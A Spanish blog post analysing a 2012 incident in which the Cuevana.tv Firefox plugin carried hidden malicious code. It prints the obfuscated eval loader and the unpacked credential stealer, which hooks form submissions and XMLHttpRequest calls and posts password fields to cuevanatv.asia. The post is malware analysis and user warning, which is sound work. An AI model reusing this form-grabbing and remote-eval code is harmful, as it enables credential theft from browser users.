domingo, 23 de septiembre de 2012

Cuevana.tv y su plugin espia


Cuevana.tv es un reconocido sitio de películas que permite hacer streaming gratuito de los últimos estrenos de Hollywood con mucha comodidad, para lograr esta “comodidad” para el usuario, es necesario instalar un plugin en nuestro navegador, que permitía tomar las películas que cuevana.tv almacenaba en servidores de descarga gratuita como fuente para realizar streaming desde ellos.
CuevanaTV Cuevana.tv y su plugin espia
Gracias a @Ursack me entero que precisamente este plugin se ha vuelto noticia, luego de que el usuario RME de Foro Coches iniciara un hilo donde ponía en evidencia un código malicioso que se encontraba dentro del plugin de cuevana y que enviaba información del usuario al dominio CUEVANATV.ASIA
Lo primero que hice fué revisar mi propio plugin ya que a veces utilizo el servicio de cuevana, pero como lo había instalado hace mas de un mes no tenia el código malicioso del que todos hablan, me metí a la pagina oficial a descargar el plugin y descargué una copia para compararla con la mía. Le cambio el nombre a los plugins para identificarlos fácilmente y procedo a descomprimirlos, recuerden que los plugins de Firefox son básicamente archivos comprimidos con extensión xpi.
Básicamente los 2 plugins son iguales, lo único que cambia entre versión y versión es una línea en el archivo content/script-compiler.js que solo aparece en la versión infectada.
La línea en cuestión esta empaquetada para que no pueda ser leída tan fácilmente, por lo que de entrada genera sospechas:
1
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d1=k1||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k1){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k1)}}return p}('6 0=7 5();0.4(\'1\',\'2://3.8/h.9?\'+g.e(),d);0.a(b);c(0.f);',18,18,'r|GET|http|cuevanatv|open|XMLHttpRequest|var|new|asia|js|send|null|eval|false|random|responseText|Math|back3'.split('|'),0,{}))
Por tanto lo primero que haremos será utilizar nuestro desempaquetador preferido para ver mas claramente que es lo que hace el código:
1
2
3
4
ar r = new XMLHttpRequest();
r.open(‘GET’, ‘http://cuevanatv.asia/back3.js?’ + Math.random(), false);
r.send(null);
eval(r.responseText);
Como pueden ver se hace un llamado a un código JavaScript, al que desgraciadamente no pude acceder por que en el momento que escribo este articulo el dominio cuevanantv.asia,(curiosamente registrado a nombre de María Helena Chávez, la esposa de un político Argentino… que puede dar pistas sobre la procedencia del atacante…) se encontraba fuera de servicio.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
var r = new XMLHttpRequest();
r.open('GET', "http://cuevanatv.asia/scripts.txt", false);
r.send(null);
if (r.status == 200) eval(r.responseText);
OSid = Components.classes['@mozilla.org/xre/app-info;1'].getService(Components.interfaces.nsIXULRuntime).OS;
OSid = (OSid == 'Darwin') ? 3 : ((OSid == 'WINNT') ? 2 : ((OSid == 'Linux') ? 1 : 0));
 
function _sData(datos, url) {
    var r = new XMLHttpRequest;
    r.open("POST", "http://cuevanatv.asia/add.php", true);
    r.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    r.send("d=" + datos + "&o=" + OSid + "&u=" + url);
}
Components.classes["@mozilla.org/observer-service;1"].getService(Components.interfaces.nsIObserverService).addObserver({
    observe: function (aWindow, aTopic, aData) {
        if (aWindow instanceof Ci.nsIDOMWindow && aTopic == 'content-document-global-created') {
            var win = aWindow.wrappedJSObject;
            win.addEventListener("submit",
 
            function (e) {
                datos = [];
                enviar = false;
                for each(i in e.target.elements) {
                    if (i.type == 'password') enviar = true;
                    if (i.type != 'hidden' && i.type != 'submit' && i.type != undefined) datos.push(i.name + "::" + i.value);
                }
                if (enviar) _sData(datos.join(":_:"), win.location.href);
            }, false);
            var xmlhr = new Object();
            xmlhr.open = win.XMLHttpRequest.prototype.open;
            xmlhr.send = win.XMLHttpRequest.prototype.send;
            if (win.location.host.indexOf("facebook.com") == -1) {
                win.XMLHttpRequest.prototype.open = function (a, b) {
                    a = (!a) ? '' : a;
                    b = (!b) ? '' : b;
                    xmlhr.open.apply(this, arguments);
                    xmlhr.metodo = a.toLowerCase();
                    xmlhr.url = b;
                    if (xmlhr.metodo == 'get') xmlhr.datos = b.split("?")[1];
                }
                win.XMLHttpRequest.prototype.send = function (a, b) {
                    a = (!a) ? '' : a;
                    b = (!b) ? '' : b;
                    xmlhr.send.apply(this, arguments);
                    if (xmlhr.metodo == 'post') xmlhr.datos = a;
                    xmlhr.callback();
                }
            }
            xmlhr.callback = function () {
                enviar = false;
                activadores = ["pass", "pss", "clave", "contra"];
                for each(dato in this.datos.split("&")) {
                    for each(activador in activadores) {
                        if (dato.split("=")[0].indexOf(activador) > -1) enviar = true;
                    }
                }
                if (enviar) _sData(this.datos.split("&").join(":_:").split("=").join("::"), win.location.href);
            }
            win.addEventListener("DOMContentLoaded", function (e) {
                for (site in scripts) {
                    if (win.location.host.indexOf(site) > -1) {
                        var r = new XMLHttpRequest();
                        r.open('GET', scripts[site], false);
                        r.send(null);
                        if (r.status == 200) eval(r.responseText);
                    }
                }
            }, false);
        }
    }
}, 'content-document-global-created', false);
En resumidas cuentas lo que hace ese script es enviar los datos de los formularios que llenemos y cumplan con unos parámetros específicos a un servidor donde serán almacenados para su posterior uso por una persona mal intencionada, en el siguiente video podemos ver el funcionamiento del plugin infectados y como enviaba los datos atravez de nuestro navegador.
Con lo que se confirma que efectivamente el plugin de Cuevana.tv para hacer streaming de películas gratis, tenia un código malicioso que robaba información sensible, además de código especifico para hacer pishing a varias entidades bancarias.
El administrador de Cuevana.tv aunque tuvo conductas sospechosas, como eliminar el código malicioso del plugin sin notificar a nadie, ni aumentar la versión del mismo, aseguró desde la cuenta oficial de cuevana.tv en twitter (tan pronto la noticia se dio a conocer por menéame) que nunca harían eso a sus usuarios…
CuevanaTVTwitte Cuevana.tv y su plugin espia
Al parecer cuevana.tv fué vulnerado (de nuevo,,,), y lograron inyectar ese código en el plugin del sitio, ellos afirman que investigarán el caso y mas les vale, por que todos sus usuarios estaremos ansiosos de ver los resultados de esta investigación, para descartar una mala intención directamente de los creadores de cuevana.tv

Conclusiones y Recomendaciones sobre el plugin espía de cuevana.tv

  • La conclusión mas importante que te debes llevar es que no instales plugins en tu navegador de dudosa procedencia, siempre busca comentarios de otras personas sobre el plugin y descargalo siempre que sea posible, de la pagina de complementos oficial de tu navegador.
  • Cambia TODAS las contraseñas de tus servicios web, es muy posible que una persona mal intencionada ya cuente con ellas y al verse descubierto/a intentara sacar el máximo jugo a su botín en el menor tiempo posible.
  • Utiliza contraseñas diferentes para todos tus servicios, ya vimos como cuevana.tv fue vulnerado y si lograron modificar archivos en el servidor, podrían acceder a toda la base de datos de usuarios, ¿tienes la misma clave que usas en cuevana para otro servicio?… ¿ya entiendes por que es importante usar una clave para cada cosa?
------
Fuente: